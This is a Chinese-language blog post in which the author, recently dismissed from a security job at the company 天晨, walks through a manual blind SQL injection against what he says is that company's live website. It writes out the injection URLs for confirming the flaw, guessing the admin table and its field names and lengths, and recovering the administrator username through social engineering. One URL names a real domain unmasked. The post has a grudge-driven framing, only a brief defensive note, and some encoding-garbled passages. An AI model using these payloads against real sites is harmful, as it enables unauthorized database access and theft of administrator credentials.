先發點牢騷,剛剛了一個陌生的城市(上海),很容易找到了個公司上班了,那就是天晨,在他們公司我負責的是安全,在這里,我沒天都是在檢測安全,先是服務器,后是整站,呵呵,很清楚的記得,我上了八天班,在這八天里面,我都是認真很認真的去把沒個漏洞,一個一個的補上,擔心的事終于來到了,呵呵,不知道是我的問題還是其他原因公司經理找我了,呵呵說我XXXX原因,不能繼續留在公司,呵呵意料之中,當天晚上回到了朋友家里,說真的以我以前的個性,他們公司的安全都是我做的,什么問題我應該很清楚,但我沒那么做,也很奇怪的是,就在哪個時候服務器好象出了問題,呵呵,也許上天都在為我抱不平,好人做到底,發個Email給他們吧,安全還存在問題!今天的遭遇,我沒怨過任何人,只能怪自己太傻!總結一下,自己真的太傻了!在這里只想說一句,朋友謝謝你送我的書,我不會忘記,但我也同時當著全網絡的同行送你一句,做人要厚道!
最近在網絡上看天晨設計整站的使用者也越來越多了,天晨整站系統是從NOWA 0.94修改而來的!基于NOWA的系統不單指天晨一個還有很多的!我在此就不一一列舉了,核心都是一樣,只是程序的附加功能就各自不同!安全方面因為基于NOWA的系統所以到目前知道的漏洞就只有上傳而已。以下文章中就會出現NOWA修改系統漏洞當中從未有的SQL注入漏洞!只怪天晨修改程序的時候沒有做好注入問題了!這個可不能怪我!誰叫人家程序設計員不會注意安全死角?
一,確定注入點
我們就拿官方網站進行測試,因為擔心外面提供的版本并非最新版本導致文章的正確性有差異。首先我們提交
http://***.com/view.asp?
action=art&art_id=70 and 1=1 返回。
再次輸入
http://***.com/view.asp?
action=art&art_id=70%20and%201=2 返回
從標準的SQL注入點檢測and1=1和and 1=2d 信息返回可以看出,兩個圖片的分別這個程序的評論存在著SQL注入,因為現在基于NOWA的修改版本都是基于ACCESS數據庫架構的,所以我們可以進一步的確定這個程序的數據庫類型。
二,猜解數據庫表
因為本人懶惰所以只好借用NBSI進行SQL注入的工作了,怎么知道是不是因為的NBSI實在太厲害了,不能夠殺雞用牛刀。竟然它全部檢測不出我所找到的SQL注入點存在著SQL注入!實在太令人感到吃驚,NBSI太給面子了!所以我只好硬著頭皮去進行手動注入了。首先猜解數據庫的表是否存在admin表。構造語句提交
http://***.com/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin)
現在的程序當中的數據庫管理員表,不就是admin,adminuser user之類的名稱,所以我們只要抓住程序作者的心理就可以知道了,提交語句之后頁面返回正常,我們就可以確定數據庫當中是存在admin這個表的。我們只是需要admin的密碼以及賬號,所以數據庫當中其他的表可以忽略。
三,猜解數據庫字段
在猜解之前為了減少更多的麻煩和無謂的猜解,應該要對于所入侵的網站進行一些資料的搜集,例如管理員的QQ以及管理員所使用的網名都是要知道的,因為我們通常都會使用容易記憶的密碼以及賬號,從而使自己可以不會忘記。找了文章頁面等等的功能頁面都找不到文章編輯以及管理員的QQ號碼。只好在BBS當中尋找了,很幸運的是我們在BBS當中找到了“天晨”這個用戶名,這樣子等待會猜解admin賬號的時候我們可以試試中文的名字或者是拼音字母。(我可是曾經在MSN以一個名字看穿PLMM性格以及生日的哦,大家要注意社會工程學的重要性。
廢話少說,我們看看這個程序的管理員字段是什么?首先猜解是name的提交語句如下http://***.com/view.asp?
action=art&art_id=70%20and%201=(select%20count
(*)%20from%20admin%20where%20len(name)??0)
(*_*不是!不是NAME字段。┨峤徽Z句后信息返回頁面顯示不正常就證實admin表中沒有name這個字段名?磥碛忠胂肴绾稳ミM行猜解了,既然name字段不行就試試admin_name字段行不行!再次構造猜解字段語句:
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0)
(這下子總可以了吧?我又邁進一步了。┨峤徽Z句之后頁面返回正常了,這下子終于可以了。
然后,我們就開始猜解password的字段了,其實一看上面的回顯我們就可以非?隙ǖ恼fpassword字段就是admin_password,所以提交的語句就是
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0)
信息回顯正常對吧?哈哈哈
說到這里整個猜解就差不多完場了。ㄊ裁词裁窗?還有賬號和密碼了?你丫的是不是傻了?)猜解密碼和賬號就更加是一個麻煩和浪費時間的活來的!好好,我們去看看賬號和密碼的猜解如何?首先我們猜解賬號的長短阿!假設,我們之前就已經拿到了管理員常用的賬號名稱“天晨”是管理員賬號。我們就有兩種可能性,一是天晨的拼音“tianchen或tinzn”,二是天晨的中文轉為ASCII碼進行猜解。我們首先試試拼音這個的可能性,如果是這樣子的話我們就要構造admin_name的長度為5,所以提交語句為http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 頁面信息返回無法正常顯示。然后再提交
http://fj126.com/view.asp?
action=art&art_id=70%20and%201
=(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)這下子頁面可算是正常了!然后再次提交語句為
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)=5)
我們就可以確定admin_name的長度為5了。賬號長度出來了,而password的長度我們還不知道,根據信息收集得知密碼是利用MD5 16位加密的,所以我們可以猜解為密碼長度是16位喔!提交語句http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)
這里就不截圖了!我們可以基本上就知道了!賬號長度為5位,密碼長度為16位。至于賬號是多少密碼是多少我就不再列舉了!經過測試剛剛的社會工程學得到的管理員賬號為:tinzn是正確的!而密碼的確是MD516位加密。整個過程可以利用臭要飯的CSC進行注入測試!
四,總結
整個程序的SQL注入頁面有幾個,都是基于天晨整站自身添加的功能頁面沒有做好相關的SQL注入導致的,如果大家有在使用這個程序的話,可以使用通用防止注入的腳本進行防止,雖然說MD5需要暴力破解,但是如果你真的得罪人的話,不要說破解了?赡苣愕木W站都會被別人干的一干二凈,網絡安全是很重要的一部分,希望大家不要輕視安全這個環節!以上文章如有錯誤請大家指出,有什么問題可以到本人BLOG或者發Email找我!
文章來源于領測軟件測試網 http://www.kjueaiud.com/